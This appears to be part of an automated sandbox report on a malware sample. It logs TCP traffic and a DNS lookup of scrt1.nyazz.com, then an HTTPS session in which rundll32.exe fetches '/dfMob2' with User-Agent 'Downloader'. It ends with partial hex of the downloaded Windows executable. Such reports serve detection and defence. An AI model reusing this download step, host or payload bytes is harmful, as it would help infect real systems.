Dec 18, 2024 13:14:51.902473927 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.902498007 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.902559996 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:51.902565002 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:51.902599096 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.028286934 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.028352976 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.028434992 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.028462887 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.028486967 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.028506994 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.058271885 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.058321953 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.058381081 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.058429956 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.058451891 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.058471918 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.063972950 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.064017057 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.064060926 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.064099073 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.064116001 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.064277887 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.070301056 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.070338011 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.070400000 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.070441961 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.070485115 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.076669931 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.076684952 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.076747894 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.076782942 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.076822042 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.082309008 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.082328081 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.082392931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.082428932 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.082473040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.089262009 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.089308977 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.089349985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.089394093 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.089413881 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.090053082 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.094995022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.095041037 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.095079899 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.095122099 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.095149040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.095160961 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.220314026 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.220383883 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.220428944 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.220467091 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.220516920 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.222826958 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.250582933 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.250637054 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.250679970 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.250729084 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.250751019 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.251557112 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.256846905 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.256907940 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.257090092 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.257131100 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.257189035 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.262501955 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.262527943 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.262610912 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.262653112 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.262698889 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.268806934 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.268826962 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.268891096 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.268934011 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.268954992 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.268979073 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.275233030 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.275252104 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.275327921 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.275368929 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.275393009 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.275578976 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.281232119 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.281250000 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.281326056 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.281356096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.281409025 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.287806034 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.287849903 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.287929058 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.287930012 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.287964106 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.290436029 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.412451982 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.412525892 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.412606955 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.412635088 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.412666082 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.412739992 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.444281101 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.444349051 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.444453955 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.444504976 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.444525957 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.444683075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.450839043 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.450892925 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.451009989 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.451009989 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.451050043 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.451102018 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.456329107 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.456378937 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.456471920 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.456471920 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.456496954 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.456598997 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.462694883 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.462743998 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.462842941 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.462842941 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.462867022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.463123083 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.469140053 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.469191074 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.469254017 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.469285011 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.469321966 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.469321966 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.475052118 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.475070953 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.475137949 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.475162029 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.475205898 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.475205898 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.481628895 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.481647968 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.481728077 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.481762886 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.481900930 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.605178118 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.605205059 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.605475903 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.605490923 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.605571032 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.636689901 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.636719942 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.636874914 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.636904955 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.636986971 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.642832994 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.642884016 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.642942905 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.642951012 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.642975092 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.643027067 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.648623943 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.648675919 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.648755074 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.648755074 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.648766994 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.648936987 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.654949903 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.655003071 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.655050993 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.655060053 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.655102015 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.655102015 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.661334991 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.661381006 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.661427021 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.661433935 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.661465883 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.661465883 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.667212963 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.667227983 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.667336941 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.667349100 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.667426109 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.673794031 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.673839092 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.673922062 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.673922062 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.673929930 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.674043894 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.797009945 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.797039032 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.797154903 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.797174931 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.797249079 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.828399897 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.828429937 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.828691006 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.828706026 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.828766108 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.834856033 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.834881067 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.835005999 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.835021973 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.835108995 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.841223955 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.841252089 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.841367960 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.841392040 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.841641903 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.847035885 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.847074986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.847142935 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.847151995 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.847187996 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.847259045 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.853353977 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.853373051 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.853471041 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.853471041 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.853480101 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.853528976 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.859486103 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.859510899 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.859600067 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.859606981 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.859833002 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.865732908 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.865757942 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.865859985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.865859985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.865870953 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.865957022 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.989484072 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.989506006 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.989624977 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:52.989650965 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:52.989888906 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.020670891 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:53.020767927 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.020814896 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:53.020899057 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.027057886 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:53.027075052 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.027080059 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:53.027134895 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.027169943 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:53.027169943 CET	49732	443	192.168.2.4	118.107.29.172

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:14:42.930888891 CET	51820	53	192.168.2.4	1.1.1.1
Dec 18, 2024 13:14:43.558999062 CET	53	51820	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 13:14:42.930888891 CET	192.168.2.4	1.1.1.1	0x7ed6	Standard query (0)	scrt1.nyazz.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:14:43.558999062 CET	1.1.1.1	192.168.2.4	0x7ed6	No error (0)	scrt1.nyazz.com		118.107.29.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

scrt1.nyazz.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	118.107.29.172	443	7040	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:14:45 UTC	96	OUT	GET /dfMob2 HTTP/1.1 User-Agent: Downloader Host: scrt1.nyazz.com Cache-Control: no-cache
2024-12-18 12:14:46 UTC	295	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:14:45 GMT Content-Type: application/octet-stream Content-Length: 22996756 Last-Modified: Tue, 17 Dec 2024 17:35:08 GMT Connection: close ETag: "6761b64c-15ee714" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-18 12:14:46 UTC	16089	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 18 00 00 00 00 00 00 56 54 01 c1 3e 00 00 f0 00 26 00 0b 02 02 2a 00 48 40 00 00 22 79 00 00 12 05 00 f7 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 5a 01 00 06 00 00 0e 4b 5f 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdVT>&*H@"y@@ZK_`
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: ef f2 66 0f 6f e6 66 0f 72 f4 0c 66 0f 72 d6 14 66 0f ef f4 66 0f fe d6 66 44 0f ef f2 66 41 0f 6f e6 66 0f 72 f4 08 66 41 0f 72 d6 18 66 44 0f ef f4 66 45 0f fe d6 66 41 0f ef f2 66 0f 6f e6 66 0f 72 f4 07 66 0f 72 d6 19 66 0f ef f4 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 0c 66 0f 72 d7 14 66 0f ef fc 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 08 66 41 0f 72 d7 18 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 07 66 0f 72 d7 19 66 0f ef fc 66 0f fe c5 66 44 0f ef f8 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe d7 66 41 0f ef ea 66 0f 6f e5 66 0f 72 f4 0c 66 0f 72 d5 14 66 0f ef ec 66 0f fe Data Ascii: fofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrff
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 22 78 00 01 b8 01 00 00 00 bb 00 00 02 00 b9 00 40 00 00 e8 2f 44 04 00 83 3d 58 65 7c 00 00 74 13 e8 a1 24 07 00 49 89 03 48 8b 0d 07 22 78 00 49 89 4b 08 48 89 05 fc 21 78 00 48 8b 44 24 50 48 89 44 24 48 66 90 e8 5b 41 07 00 45 0f 57 ff 4c 8b 35 98 62 7c 00 65 4d 8b 36 4d 8b 36 48 8b 05 d2 21 78 00 48 8b 0c 24 31 db 48 8d 7c 24 48 be 01 00 00 00 49 89 f0 45 31 c9 45 31 d2 4d 89 d3 e8 e1 46 04 00 48 8b 44 24 50 e8 d7 04 04 00 eb 2f 80 3d 96 21 78 00 00 74 26 31 c0 e8 c5 04 04 00 c6 05 86 21 78 00 00 48 8d 05 77 21 78 00 e8 d2 01 00 00 48 8b 05 7b 21 78 00 e8 86 4c 04 00 90 90 48 8d 05 5d 21 78 00 e8 38 4f 00 00 48 83 c4 58 5d c3 48 89 44 24 08 e8 88 04 07 00 48 8b 44 24 08 0f 1f 00 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: "x@/D=Xe\|t$IH"xIKH!xHD$PHD$Hf[AEWL5b\|eM6M6H!xH$1H\|$HIE1E1MFHD$P/=!xt&1!xHw!xH{!xLH]!x8OHX]HD$HD${
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 00 e8 01 27 00 00 83 3d 6a 25 7c 00 00 75 1d 48 8b 4c 24 20 48 89 48 10 44 0f 11 78 18 48 89 c3 48 8d 05 80 e2 47 00 e8 fb 59 06 00 e8 76 e4 06 00 48 8b 4c 24 20 49 89 0b eb d4 48 89 44 24 08 e8 22 c5 06 00 48 8b 44 24 08 eb 9b cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 48 8b 10 b9 01 00 00 00 48 89 c6 48 89 d0 48 89 f3 e8 12 07 06 00 48 89 44 24 18 48 89 c3 48 8b 4c 24 38 48 8b 44 24 30 e8 db 40 06 00 48 8b 44 24 18 48 83 c4 20 5d c3 48 89 44 24 08 48 89 5c 24 10 e8 a1 c4 06 00 48 8b 44 24 08 48 8b 5c 24 10 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 Data Ascii: '=j%\|uHL$ HHDxHHGYvHL$ IHD$"HD$I;fvJUHH HD$0H\$8HHHHHD$HHL$8HD$0@HD$H ]HD$H\$HD$H\$I;fvJUHH HD$0H\$8
2024-12-18 12:14:46 UTC	16384	IN	Data Raw: 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 51 e5 7b 00 00 90 74 0c 48 8b 48 18 e8 75 a4 06 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 74 1d 83 3d 2a e5 7b 00 00 74 0c 48 8b 51 08 e8 4f a4 06 00 49 89 13 48 c7 41 08 00 00 00 00 0f b6 48 08 83 e1 f7 88 48 08 5d c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 e4 84 06 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 30 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 46 01 00 00 55 48 89 e5 48 83 ec 10 89 4c 24 30 48 85 db 0f 84 c3 00 00 00 48 83 3b 00 0f 84 b9 00 00 00 48 89 44 24 20 48 89 5c 24 28 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 ce d6 4d 00 bb 21 00 00 00 e8 13 a2 02 00 48 8b 44 24 20 48 8b 5c 24 28 80 Data Ascii: 